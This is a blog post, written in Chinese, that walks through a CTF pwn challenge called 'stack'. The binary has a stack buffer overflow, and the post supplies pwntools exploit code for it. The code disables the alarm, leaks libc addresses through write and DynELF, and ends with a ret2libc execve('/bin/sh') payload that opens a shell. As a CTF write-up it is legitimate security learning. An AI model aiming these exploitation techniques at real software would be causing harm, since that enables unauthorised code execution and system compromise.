Sunichi's Blog

sunichi@DUBHE | Linux & Pwn & Fuzz

0%

cyberearth xctf pwn stack writeup

第一次和大佬们一起参加CTF比赛,在pwn中选了一个栈溢出的题目来做。

先丢到ida中,如其名“跑马灯”,程序会在跑完三轮跑马灯前的最后一次,设置一个定时器并在2秒后触发进入死循环handler。在跑马灯结束到触发alarm之前,有一个窗口可以提供输入。

1
2
3
4
signal(14, (__sighandler_t)handler);
alarm(2u);
//......
return gee();

提供输入在gee函数内,buf长度为0x88,read读入上限为0x100,可以溢出,offset为140。

1
2
3
char buf; // [esp+0h] [ebp-88h]
puts("*...........................................................");
return read(0, &buf, 0x100u); // buf length 0x88 overflow

通过简单的实验可知,先前的signalalarm可以被后来的signalalarm所覆盖,因此首先通过溢出令alarm(2u)失效。

1
2
3
4
5
6
7
8
9
10
# wait
print p.recvuntil('*...........................................................')
print p.recvuntil('*...........................................................')
print p.recvuntil('*...........................................................')
print p.recvuntil('*...........................................................')
# disable alarm
# 0x8048b5e call gee
payload = 'a' * 140 + p32(alarm_plt) + p32(0x8048b5e) + p32(0)

p.sendline(payload)

编写leak函数并进行泄漏:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def leak(addr):
payload = 'a' * 140 + p32(write_plt) + p32(0x8048b5e) + p32(1) + p32(addr) + p32(4)
print p.recvuntil('...\n')
p.send(payload)
data = p.recv(4)
# print data
return data

d = DynELF(leak, elf=ELF('./stack'), libcdb=False)
execve_addr = d.lookup('execve', 'libc')
print 'execve:' + hex(execve_addr)
system_addr = d.lookup('system', 'libc')
print 'system:' + hex(system_addr)
libcbase_addr = d.bases()['/lib/i386-linux-gnu/libc.so.6']
print 'libc base addr:' + hex(libcbase_addr)

在实际做题中,可以根据泄漏的函数地址找到对应的libc版本从而获取/bin/sh的偏移地址,由于没有环境,故直接导入本地libc。曾经尝试调用system并通过read读入/bin/sh字符串,但失败(包括先调用start恢复栈帧)。

1
2
3
4
libc = ELF('./libc.so.6')
binsh_offset = next(libc.search('/bin/sh'))
print '/bin/sh offset:' + hex(binsh_offset)
binsh_addr = libcbase_addr + binsh_offset

调用execve即可拿到shell:

1
2
3
4
payload = 'a' * 140 + p32(execve_addr) + p32(0xdeadbeef) + p32(binsh_addr) + p32(0) + p32(0)
p.send(payload)
p.interactive()
p.close()